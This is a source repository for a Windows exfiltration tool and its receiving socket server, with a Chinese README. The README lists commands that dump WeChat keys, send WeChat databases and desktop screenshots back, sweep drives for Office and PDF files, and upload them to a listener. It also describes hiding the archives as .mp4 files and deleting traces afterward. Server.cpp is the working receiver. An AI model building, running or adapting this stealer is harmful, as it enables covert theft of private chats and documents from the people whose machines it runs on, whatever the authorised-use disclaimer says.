├── FileUpload
├── Client
│ ├── Client.vcxproj.user
│ ├── Client.vcxproj
│ ├── zip.h
│ ├── unzip.h
│ ├── Client.cpp
│ └── zip.cpp
└── Client.sln
├── SocketServer
├── Server
│ ├── ShellcodeRun.vcxproj.user
│ ├── ShellcodeRun.vcxproj.filters
│ ├── Server.cpp
│ └── ShellcodeRun.vcxproj
└── Server.sln
└── README.md
/FileUpload/Client/Client.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/SocketServer/Server/ShellcodeRun.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/SocketServer/Server/ShellcodeRun.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | 源文件
20 |
21 |
22 |
--------------------------------------------------------------------------------
/FileUpload/Client.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 15.0.28307.1145
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "nice", "Client\Client.vcxproj", "{7F97B6A1-DA10-43B2-BB56-72C45538CF80}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Debug|x64.ActiveCfg = Debug|x64
17 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Debug|x64.Build.0 = Debug|x64
18 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Debug|x86.ActiveCfg = Debug|Win32
19 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Debug|x86.Build.0 = Debug|Win32
20 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Release|x64.ActiveCfg = Release|x64
21 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Release|x64.Build.0 = Release|x64
22 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Release|x86.ActiveCfg = Release|Win32
23 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {8FB3C18A-B7DC-49DD-8E90-3972202B014B}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/SocketServer/Server.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 15.0.28307.1145
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ShellcodeRun", "Server\ShellcodeRun.vcxproj", "{7F97B6A1-DA10-43B2-BB56-72C45538CF80}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Debug|x64.ActiveCfg = Debug|x64
17 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Debug|x64.Build.0 = Debug|x64
18 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Debug|x86.ActiveCfg = Debug|Win32
19 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Debug|x86.Build.0 = Debug|Win32
20 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Release|x64.ActiveCfg = Release|x64
21 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Release|x64.Build.0 = Release|x64
22 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Release|x86.ActiveCfg = Release|Win32
23 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {8FB3C18A-B7DC-49DD-8E90-3972202B014B}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ### Server
2 |
3 |
4 | ```plain
5 | Server.exe port # 默认8888端口
6 | ```
7 |
8 | ### Command
9 |
10 | ```plain
11 | [+] FileSearch.exe dumpkey # 获取微信密钥
12 | [+] FileSearch.exe send 127.0.0.1 8888 # 从默认路径回传微信数据库
13 | [+] FileSearch.exe send 127.0.0.1 8888 vxpath # 指定微信数据库路径
14 | [+] FileSearch.exe photo 127.0.0.1 8888 # 桌面截屏回传
15 | [+] FileSearch.exe search d:\ .docx # 查找指定类型文件
16 | [+] FileSearch.exe upload path 127.0.0.1 8888 # 上传文件
17 | [+] FileSearch.exe uploads path 127.0.0.1 8888 # 上传文件夹
18 | [+] FileSearch.exe all 127.0.0.1 8888 # 全盘获取指定类型文件
19 | [+] FileSearch.exe user 127.0.0.1 8888 # c:\users目录下查找类型文件
20 | ```
21 |
22 | ### 更新说明
23 |
24 | 1、all参数排除了c盘符查找指定类型文件,避免大量缓存文件造成卡顿,添加user参数在c:\users目录下查找
25 |
26 | 可自行修改需要上传的文件类型(747行),默认为:
27 |
28 | ```plain
29 | const char* filetype[] = { ".doc",".xls", ".pdf" ,".docx",".xlsx",".txt",".bat",".ppt",".pptx" };
30 | ```
31 |
32 | 2、运行成功后会自动删除生成出来的文件夹以及压缩包,压缩包文件随机修改成了mp4后缀
33 |
34 | 3、优化了查找文件匹配方式,支持模糊匹配或精确匹配
35 |
36 | 4、新增uploads参数遍历指定文件夹压缩上传功能
37 |
38 | 5、新增photo参数桌面截屏回传功能
39 |
40 | ### 功能展示:
41 |
42 | 
43 |
44 | 
45 |
46 | 
47 |
48 | ## 已知问题:
49 |
50 | 大文件(G级)传输回来后压缩包损坏无法正常打开,经过多次测试发现是c++ zip库压缩的问题,
51 |
52 | 暂时使用以下两种办法解决:
53 |
54 | 1、上传Rar.exe压缩后再使用upload_file方法进行回传
55 |
56 | ```plain
57 | rar.exe a -k -r -s -m1 bak.rar "path"
58 | ```
59 |
60 | 2、使用WinRAR内置修复功能或者使用[DiskInternals ZIP](https://www.diskinternals.com/zip-repair/)进行修复损坏文件
61 |
62 | > 后续还会更新~
63 |
64 | 如果发现缺陷请提交 issue,非常感谢!
65 |
66 | #### 本人失业多年,已不参与大小HW活动的攻击方了,若溯源到id与本人无关
67 |
68 | #### 免责声明
69 |
70 | 本工具仅能在取得足够合法授权的企业安全建设中使用,在使用本工具过程中,您应确保自己所有行为符合当地的法律法规。 如您在使用本工具的过程中存在任何非法行为,您将自行承担所有后果,本工具所有开发者和所有贡献者不承担任何法律及连带责任。 除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。 您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。
71 |
72 |
--------------------------------------------------------------------------------
/SocketServer/Server/Server.cpp:
--------------------------------------------------------------------------------
1 | #define _CRT_SECURE_NO_WARNINGS
2 | #define _WINSOCK_DEPRECATED_NO_WARNINGS
3 |
4 | #include
5 | #include
6 | #include
7 | #include
8 |
9 | #include
10 |
11 | using namespace std;
12 |
13 | #pragma comment(lib,"ws2_32.lib")
14 |
15 |
16 | #define MAX_DATA_BLOCK_SIZE 8192
17 |
18 | void error_exit(const char * msg, int val) {
19 | if (msg) { printf("%s\n\n", msg); }
20 | printf("使用方法:ft_server [监听端口]\n");
21 | printf("监听端口是可选参数,默认为8888\n\n");
22 | exit(val);
23 |
24 | }
25 | void serve_client(void *s) {
26 | printf("\n\n\n创建新线程成功!\n\n\n");
27 | char file_name[MAX_PATH];
28 | unsigned char pass[MAX_PATH] = { 0 };
29 | char data[MAX_DATA_BLOCK_SIZE];
30 | int i;
31 | char c;
32 | FILE *fp;
33 |
34 |
35 | printf("接收文件名。。。。\n");
36 | memset((void *)file_name, 0, sizeof(file_name));
37 | for (i = 0; i < sizeof(file_name); i++) {
38 | if (recv(*(SOCKET *)s, &c, 1, 0) != 1) {
39 | printf("接收失败或客户端已关闭连接\n");
40 | closesocket(*(SOCKET *)s);
41 | return;
42 | }
43 | if (c == 0) {
44 | break;
45 | }
46 | file_name[i] = c;
47 | }
48 | if (i == sizeof(file_name)) {
49 | printf("文件名过长\n");
50 | closesocket(*(SOCKET *)s);
51 | return;
52 | }
53 | printf("文件名%s\n", file_name);
54 | fp = fopen(file_name, "wb");
55 | if (fp == NULL) {
56 | printf("无法以写方式打开文件\n");
57 | closesocket(*(SOCKET *)s);
58 | return;
59 | }
60 | printf("接收文件内容");
61 | memset((void *)data, 0, sizeof(data));
62 | for (;;) {
63 |
64 | i = recv(*(SOCKET *)s, data, sizeof(data), 0);
65 | putchar('.');
66 | if (i == SOCKET_ERROR) {
67 | printf("\n接收失败,文件可能不完整\n");
68 | break;
69 | }
70 | else if (i == 0) {
71 | printf("\n接收成功\n");
72 | break;
73 | }
74 | else {
75 | fwrite((void *)data, 1, i, fp);
76 | }
77 | }
78 | fclose(fp);
79 | closesocket(*(SOCKET *)s);
80 |
81 |
82 |
83 | _endthread();
84 |
85 | }
86 |
87 |
88 | void print_socket_detail(SOCKET s) {
89 | struct sockaddr_in name;
90 | int namelen;
91 | namelen = sizeof(name);
92 | memset(&name, 0, namelen);
93 | getsockname(s, (struct sockaddr*)&name, &namelen);
94 | printf("local:%s:%d\n", inet_ntoa(name.sin_addr), ntohs(name.sin_port));
95 | namelen = sizeof(name);
96 | memset(&name, 0, namelen);
97 | getpeername(s, (struct sockaddr*)&name, &namelen);
98 | printf("peer:%s:%d\n", inet_ntoa(name.sin_addr), ntohs(name.sin_port));
99 | }
100 |
101 | void serve_at(u_short port) {
102 | WSADATA wsaData;
103 | SOCKET ls, as;
104 | static SOCKET *a;
105 | struct sockaddr_in addr;
106 | struct sockaddr_in cli_addr;
107 | int cli_addr_len;
108 | WSAStartup(0x202, &wsaData);
109 | ls = socket(AF_INET, SOCK_STREAM, 0);
110 | memset((void *)&addr, 0, sizeof(addr));
111 | addr.sin_family = AF_INET;
112 | addr.sin_addr.s_addr = inet_addr("0.0.0.0");
113 | addr.sin_port = htons(port);
114 | bind(ls, (struct sockaddr *)&addr, sizeof(addr));
115 | listen(ls, SOMAXCONN);
116 | printf("服务器已启动,监听于端口%d\n", port);
117 | for (;;) {
118 | cli_addr_len = sizeof(cli_addr);
119 | memset((void *)&cli_addr, 0, cli_addr_len);
120 | as = accept(ls, (struct sockaddr *)&cli_addr, &cli_addr_len);
121 | a = &as;
122 | printf("客户端%s:%d已连接\n", inet_ntoa(cli_addr.sin_addr), ntohs(cli_addr.sin_port));
123 | _beginthread(serve_client, 0, (void *)a);
124 | Sleep(1000);
125 | print_socket_detail(as);
126 | // while(1){}
127 | }
128 | closesocket(ls);
129 | WSACleanup();
130 | }
131 |
132 | int main(int argc, char ** argv) {
133 | u_short port;
134 | if (argc == 1) {
135 | serve_at(8888);
136 | }
137 | else if (argc == 2) {
138 | port = (u_short)atoi(argv[1]);
139 | if (port == 0) {
140 | error_exit("非法的监听端口", -1);
141 | }
142 | else {
143 | serve_at(port);
144 | }
145 | }
146 | else {
147 | error_exit("参数错误", -1);
148 | }
149 | return 0;
150 | }
--------------------------------------------------------------------------------
/SocketServer/Server/ShellcodeRun.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 15.0
23 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}
24 | Win32Proj
25 | ShellcodeRun
26 | 10.0.14393.0
27 | Server
28 |
29 |
30 |
31 | Application
32 | true
33 | v141
34 | Unicode
35 |
36 |
37 | Application
38 | false
39 | v141
40 | true
41 | Unicode
42 |
43 |
44 | Application
45 | true
46 | v141
47 | MultiByte
48 |
49 |
50 | Application
51 | false
52 | v141
53 | true
54 | Unicode
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 | true
76 |
77 |
78 | true
79 |
80 |
81 | false
82 |
83 |
84 | false
85 | false
86 |
87 |
88 |
89 |
90 |
91 | Level3
92 | Disabled
93 | true
94 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
95 | true
96 | MultiThreadedDebug
97 |
98 |
99 | Console
100 | true
101 |
102 |
103 |
104 |
105 |
106 |
107 | Level3
108 | Disabled
109 | true
110 | _DEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)
111 | true
112 | MultiThreadedDebug
113 |
114 |
115 | Console
116 | true
117 |
118 |
119 |
120 |
121 |
122 |
123 | Level3
124 | MaxSpeed
125 | true
126 | true
127 | true
128 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
129 | true
130 | MultiThreadedDebug
131 |
132 |
133 | Console
134 | true
135 | true
136 | true
137 |
138 |
139 |
140 |
141 |
142 |
143 | Level3
144 | MaxSpeed
145 | true
146 | true
147 | true
148 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
149 | true
150 | MultiThreadedDebug
151 |
152 |
153 | Console
154 | true
155 | true
156 | false
157 |
158 |
159 |
160 |
161 |
162 |
163 |
164 |
165 |
--------------------------------------------------------------------------------
/FileUpload/Client/Client.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 15.0
23 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}
24 | Win32Proj
25 | ShellcodeRun
26 | 10.0.14393.0
27 | FileSearch
28 |
29 |
30 |
31 | Application
32 | true
33 | v141
34 | Unicode
35 |
36 |
37 | Application
38 | false
39 | v141
40 | true
41 | Unicode
42 |
43 |
44 | Application
45 | true
46 | v141
47 | MultiByte
48 |
49 |
50 | Application
51 | false
52 | v141
53 | true
54 | MultiByte
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 | true
76 |
77 |
78 | true
79 | false
80 |
81 |
82 | false
83 |
84 |
85 | false
86 | false
87 |
88 |
89 |
90 |
91 |
92 | Level3
93 | Disabled
94 | true
95 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
96 | true
97 | MultiThreadedDebug
98 |
99 |
100 | Console
101 | true
102 |
103 |
104 |
105 |
106 |
107 |
108 | Level3
109 | Disabled
110 | true
111 | _DEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)
112 | true
113 | MultiThreadedDebug
114 | false
115 |
116 |
117 | Console
118 | false
119 |
120 |
121 |
122 |
123 |
124 |
125 | Level3
126 | MaxSpeed
127 | true
128 | true
129 | true
130 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
131 | true
132 | MultiThreadedDebug
133 |
134 |
135 | Console
136 | true
137 | true
138 | true
139 |
140 |
141 |
142 |
143 |
144 |
145 | Level3
146 | MaxSpeed
147 | true
148 | true
149 | true
150 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
151 | true
152 | MultiThreadedDebug
153 |
154 |
155 | Console
156 | true
157 | true
158 | false
159 |
160 |
161 |
162 |
163 |
164 |
165 |
166 |
167 |
168 |
169 |
170 |
171 |
172 |
173 |
--------------------------------------------------------------------------------
/FileUpload/Client/zip.h:
--------------------------------------------------------------------------------
1 | #ifndef _zip_H
2 | #define _zip_H
3 |
4 |
5 | // ZIP functions -- for creating zip files
6 | // This file is a repackaged form of the Info-Zip source code available
7 | // at www.info-zip.org. The original copyright notice may be found in
8 | // zip.cpp. The repackaging was done by Lucian Wischik to simplify and
9 | // extend its use in Windows/C++. Also to add encryption and unicode.
10 |
11 |
12 | #ifndef _unzip_H
13 | DECLARE_HANDLE(HZIP);
14 | #endif
15 | // An HZIP identifies a zip file that is being created
16 |
17 | typedef DWORD ZRESULT;
18 | // return codes from any of the zip functions. Listed later.
19 |
20 |
21 |
22 | HZIP CreateZip(const TCHAR *fn, const char *password);
23 | HZIP CreateZip(void *buf,unsigned int len, const char *password);
24 | HZIP CreateZipHandle(HANDLE h, const char *password);
25 | // CreateZip - call this to start the creation of a zip file.
26 | // As the zip is being created, it will be stored somewhere:
27 | // to a pipe: CreateZipHandle(hpipe_write);
28 | // in a file (by handle): CreateZipHandle(hfile);
29 | // in a file (by name): CreateZip("c:\\test.zip");
30 | // in memory: CreateZip(buf, len);
31 | // or in pagefile memory: CreateZip(0, len);
32 | // The final case stores it in memory backed by the system paging file,
33 | // where the zip may not exceed len bytes. This is a bit friendlier than
34 | // allocating memory with new[]: it won't lead to fragmentation, and the
35 | // memory won't be touched unless needed. That means you can give very
36 | // large estimates of the maximum-size without too much worry.
37 | // As for the password, it lets you encrypt every file in the archive.
38 | // (This api doesn't support per-file encryption.)
39 | // Note: because pipes don't allow random access, the structure of a zipfile
40 | // created into a pipe is slightly different from that created into a file
41 | // or memory. In particular, the compressed-size of the item cannot be
42 | // stored in the zipfile until after the item itself. (Also, for an item added
43 | // itself via a pipe, the uncompressed-size might not either be known until
44 | // after.) This is not normally a problem. But if you try to unzip via a pipe
45 | // as well, then the unzipper will not know these things about the item until
46 | // after it has been unzipped. Therefore: for unzippers which don't just write
47 | // each item to disk or to a pipe, but instead pre-allocate memory space into
48 | // which to unzip them, then either you have to create the zip not to a pipe,
49 | // or you have to add items not from a pipe, or at least when adding items
50 | // from a pipe you have to specify the length.
51 | // Note: for windows-ce, you cannot close the handle until after CloseZip.
52 | // but for real windows, the zip makes its own copy of your handle, so you
53 | // can close yours anytime.
54 |
55 |
56 | ZRESULT ZipAdd(HZIP hz,const TCHAR *dstzn, const TCHAR *fn);
57 | ZRESULT ZipAdd(HZIP hz,const TCHAR *dstzn, void *src,unsigned int len);
58 | ZRESULT ZipAddHandle(HZIP hz,const TCHAR *dstzn, HANDLE h);
59 | ZRESULT ZipAddHandle(HZIP hz,const TCHAR *dstzn, HANDLE h, unsigned int len);
60 | ZRESULT ZipAddFolder(HZIP hz,const TCHAR *dstzn);
61 | // ZipAdd - call this for each file to be added to the zip.
62 | // dstzn is the name that the file will be stored as in the zip file.
63 | // The file to be added to the zip can come
64 | // from a pipe: ZipAddHandle(hz,"file.dat", hpipe_read);
65 | // from a file: ZipAddHandle(hz,"file.dat", hfile);
66 | // from a filen: ZipAdd(hz,"file.dat", "c:\\docs\\origfile.dat");
67 | // from memory: ZipAdd(hz,"subdir\\file.dat", buf,len);
68 | // (folder): ZipAddFolder(hz,"subdir");
69 | // Note: if adding an item from a pipe, and if also creating the zip file itself
70 | // to a pipe, then you might wish to pass a non-zero length to the ZipAddHandle
71 | // function. This will let the zipfile store the item's size ahead of the
72 | // compressed item itself, which in turn makes it easier when unzipping the
73 | // zipfile from a pipe.
74 |
75 | ZRESULT ZipGetMemory(HZIP hz, void **buf, unsigned long *len);
76 | // ZipGetMemory - If the zip was created in memory, via ZipCreate(0,len),
77 | // then this function will return information about that memory block.
78 | // buf will receive a pointer to its start, and len its length.
79 | // Note: you can't add any more after calling this.
80 |
81 | ZRESULT CloseZip(HZIP hz);
82 | // CloseZip - the zip handle must be closed with this function.
83 |
84 | unsigned int FormatZipMessage(ZRESULT code, TCHAR *buf,unsigned int len);
85 | // FormatZipMessage - given an error code, formats it as a string.
86 | // It returns the length of the error message. If buf/len points
87 | // to a real buffer, then it also writes as much as possible into there.
88 |
89 |
90 |
91 | // These are the result codes:
92 | #define ZR_OK 0x00000000 // nb. the pseudo-code zr-recent is never returned,
93 | #define ZR_RECENT 0x00000001 // but can be passed to FormatZipMessage.
94 | // The following come from general system stuff (e.g. files not openable)
95 | #define ZR_GENMASK 0x0000FF00
96 | #define ZR_NODUPH 0x00000100 // couldn't duplicate the handle
97 | #define ZR_NOFILE 0x00000200 // couldn't create/open the file
98 | #define ZR_NOALLOC 0x00000300 // failed to allocate some resource
99 | #define ZR_WRITE 0x00000400 // a general error writing to the file
100 | #define ZR_NOTFOUND 0x00000500 // couldn't find that file in the zip
101 | #define ZR_MORE 0x00000600 // there's still more data to be unzipped
102 | #define ZR_CORRUPT 0x00000700 // the zipfile is corrupt or not a zipfile
103 | #define ZR_READ 0x00000800 // a general error reading the file
104 | // The following come from mistakes on the part of the caller
105 | #define ZR_CALLERMASK 0x00FF0000
106 | #define ZR_ARGS 0x00010000 // general mistake with the arguments
107 | #define ZR_NOTMMAP 0x00020000 // tried to ZipGetMemory, but that only works on mmap zipfiles, which yours wasn't
108 | #define ZR_MEMSIZE 0x00030000 // the memory size is too small
109 | #define ZR_FAILED 0x00040000 // the thing was already failed when you called this function
110 | #define ZR_ENDED 0x00050000 // the zip creation has already been closed
111 | #define ZR_MISSIZE 0x00060000 // the indicated input file size turned out mistaken
112 | #define ZR_PARTIALUNZ 0x00070000 // the file had already been partially unzipped
113 | #define ZR_ZMODE 0x00080000 // tried to mix creating/opening a zip
114 | // The following come from bugs within the zip library itself
115 | #define ZR_BUGMASK 0xFF000000
116 | #define ZR_NOTINITED 0x01000000 // initialisation didn't work
117 | #define ZR_SEEK 0x02000000 // trying to seek in an unseekable file
118 | #define ZR_NOCHANGE 0x04000000 // changed its mind on storage, but not allowed
119 | #define ZR_FLATE 0x05000000 // an internal error in the de/inflation code
120 |
121 |
122 |
123 |
124 |
125 |
126 | // e.g.
127 | //
128 | // (1) Traditional use, creating a zipfile from existing files
129 | // HZIP hz = CreateZip("c:\\simple1.zip",0);
130 | // ZipAdd(hz,"znsimple.bmp", "c:\\simple.bmp");
131 | // ZipAdd(hz,"znsimple.txt", "c:\\simple.txt");
132 | // CloseZip(hz);
133 | //
134 | // (2) Memory use, creating an auto-allocated mem-based zip file from various sources
135 | // HZIP hz = CreateZip(0,100000, 0);
136 | // // adding a conventional file...
137 | // ZipAdd(hz,"src1.txt", "c:\\src1.txt");
138 | // // adding something from memory...
139 | // char buf[1000]; for (int i=0; i<1000; i++) buf[i]=(char)(i&0x7F);
140 | // ZipAdd(hz,"file.dat", buf,1000);
141 | // // adding something from a pipe...
142 | // HANDLE hread,hwrite; CreatePipe(&hread,&hwrite,NULL,0);
143 | // HANDLE hthread = CreateThread(0,0,ThreadFunc,(void*)hwrite,0,0);
144 | // ZipAdd(hz,"unz3.dat", hread,1000); // the '1000' is optional.
145 | // WaitForSingleObject(hthread,INFINITE);
146 | // CloseHandle(hthread); CloseHandle(hread);
147 | // ... meanwhile DWORD WINAPI ThreadFunc(void *dat)
148 | // { HANDLE hwrite = (HANDLE)dat;
149 | // char buf[1000]={17};
150 | // DWORD writ; WriteFile(hwrite,buf,1000,&writ,NULL);
151 | // CloseHandle(hwrite);
152 | // return 0;
153 | // }
154 | // // and now that the zip is created, let's do something with it:
155 | // void *zbuf; unsigned long zlen; ZipGetMemory(hz,&zbuf,&zlen);
156 | // HANDLE hfz = CreateFile("test2.zip",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
157 | // DWORD writ; WriteFile(hfz,zbuf,zlen,&writ,NULL);
158 | // CloseHandle(hfz);
159 | // CloseZip(hz);
160 | //
161 | // (3) Handle use, for file handles and pipes
162 | // HANDLE hzread,hzwrite; CreatePipe(&hzread,&hzwrite,0,0);
163 | // HANDLE hthread = CreateThread(0,0,ZipReceiverThread,(void*)hzread,0,0);
164 | // HZIP hz = CreateZipHandle(hzwrite,0);
165 | // // ... add to it
166 | // CloseZip(hz);
167 | // CloseHandle(hzwrite);
168 | // WaitForSingleObject(hthread,INFINITE);
169 | // CloseHandle(hthread);
170 | // ... meanwhile DWORD WINAPI ZipReceiverThread(void *dat)
171 | // { HANDLE hread = (HANDLE)dat;
172 | // char buf[1000];
173 | // while (true)
174 | // { DWORD red; ReadFile(hread,buf,1000,&red,NULL);
175 | // // ... and do something with this zip data we're receiving
176 | // if (red==0) break;
177 | // }
178 | // CloseHandle(hread);
179 | // return 0;
180 | // }
181 |
182 |
183 |
184 | // Now we indulge in a little skullduggery so that the code works whether
185 | // the user has included just zip or both zip and unzip.
186 | // Idea: if header files for both zip and unzip are present, then presumably
187 | // the cpp files for zip and unzip are both present, so we will call
188 | // one or the other of them based on a dynamic choice. If the header file
189 | // for only one is present, then we will bind to that particular one.
190 | ZRESULT CloseZipZ(HZIP hz);
191 | unsigned int FormatZipMessageZ(ZRESULT code, char *buf,unsigned int len);
192 | bool IsZipHandleZ(HZIP hz);
193 | #ifdef _unzip_H
194 | #undef CloseZip
195 | #define CloseZip(hz) (IsZipHandleZ(hz)?CloseZipZ(hz):CloseZipU(hz))
196 | #else
197 | #define CloseZip CloseZipZ
198 | #define FormatZipMessage FormatZipMessageZ
199 | #endif
200 |
201 |
202 |
203 | #endif
204 |
--------------------------------------------------------------------------------
/FileUpload/Client/unzip.h:
--------------------------------------------------------------------------------
1 | #ifndef _unzip_H
2 | #define _unzip_H
3 |
4 | // UNZIPPING functions -- for unzipping.
5 | // This file is a repackaged form of extracts from the zlib code available
6 | // at www.gzip.org/zlib, by Jean-Loup Gailly and Mark Adler. The original
7 | // copyright notice may be found in unzip.cpp. The repackaging was done
8 | // by Lucian Wischik to simplify and extend its use in Windows/C++. Also
9 | // encryption and unicode filenames have been added.
10 |
11 |
12 | #ifndef _zip_H
13 | DECLARE_HANDLE(HZIP);
14 | #endif
15 | // An HZIP identifies a zip file that has been opened
16 |
17 | typedef DWORD ZRESULT;
18 | // return codes from any of the zip functions. Listed later.
19 |
20 | typedef struct
21 | { int index; // index of this file within the zip
22 | TCHAR name[MAX_PATH]; // filename within the zip
23 | DWORD attr; // attributes, as in GetFileAttributes.
24 | FILETIME atime,ctime,mtime;// access, create, modify filetimes
25 | long comp_size; // sizes of item, compressed and uncompressed. These
26 | long unc_size; // may be -1 if not yet known (e.g. being streamed in)
27 | } ZIPENTRY;
28 |
29 |
30 | HZIP OpenZip(const TCHAR *fn, const char *password);
31 | HZIP OpenZip(void *z,unsigned int len, const char *password);
32 | HZIP OpenZipHandle(HANDLE h, const char *password);
33 | // OpenZip - opens a zip file and returns a handle with which you can
34 | // subsequently examine its contents. You can open a zip file from:
35 | // from a pipe: OpenZipHandle(hpipe_read,0);
36 | // from a file (by handle): OpenZipHandle(hfile,0);
37 | // from a file (by name): OpenZip("c:\\test.zip","password");
38 | // from a memory block: OpenZip(bufstart, buflen,0);
39 | // If the file is opened through a pipe, then items may only be
40 | // accessed in increasing order, and an item may only be unzipped once,
41 | // although GetZipItem can be called immediately before and after unzipping
42 | // it. If it's opened in any other way, then full random access is possible.
43 | // Note: pipe input is not yet implemented.
44 | // Note: zip passwords are ascii, not unicode.
45 | // Note: for windows-ce, you cannot close the handle until after CloseZip.
46 | // but for real windows, the zip makes its own copy of your handle, so you
47 | // can close yours anytime.
48 |
49 | ZRESULT GetZipItem(HZIP hz, int index, ZIPENTRY *ze);
50 | // GetZipItem - call this to get information about an item in the zip.
51 | // If index is -1 and the file wasn't opened through a pipe,
52 | // then it returns information about the whole zipfile
53 | // (and in particular ze.index returns the number of index items).
54 | // Note: the item might be a directory (ze.attr & FILE_ATTRIBUTE_DIRECTORY)
55 | // See below for notes on what happens when you unzip such an item.
56 | // Note: if you are opening the zip through a pipe, then random access
57 | // is not possible and GetZipItem(-1) fails and you can't discover the number
58 | // of items except by calling GetZipItem on each one of them in turn,
59 | // starting at 0, until eventually the call fails. Also, in the event that
60 | // you are opening through a pipe and the zip was itself created into a pipe,
61 | // then then comp_size and sometimes unc_size as well may not be known until
62 | // after the item has been unzipped.
63 |
64 | ZRESULT FindZipItem(HZIP hz, const TCHAR *name, bool ic, int *index, ZIPENTRY *ze);
65 | // FindZipItem - finds an item by name. ic means 'insensitive to case'.
66 | // It returns the index of the item, and returns information about it.
67 | // If nothing was found, then index is set to -1 and the function returns
68 | // an error code.
69 |
70 | ZRESULT UnzipItem(HZIP hz, int index, const TCHAR *fn);
71 | ZRESULT UnzipItem(HZIP hz, int index, void *z,unsigned int len);
72 | ZRESULT UnzipItemHandle(HZIP hz, int index, HANDLE h);
73 | // UnzipItem - given an index to an item, unzips it. You can unzip to:
74 | // to a pipe: UnzipItemHandle(hz,i, hpipe_write);
75 | // to a file (by handle): UnzipItemHandle(hz,i, hfile);
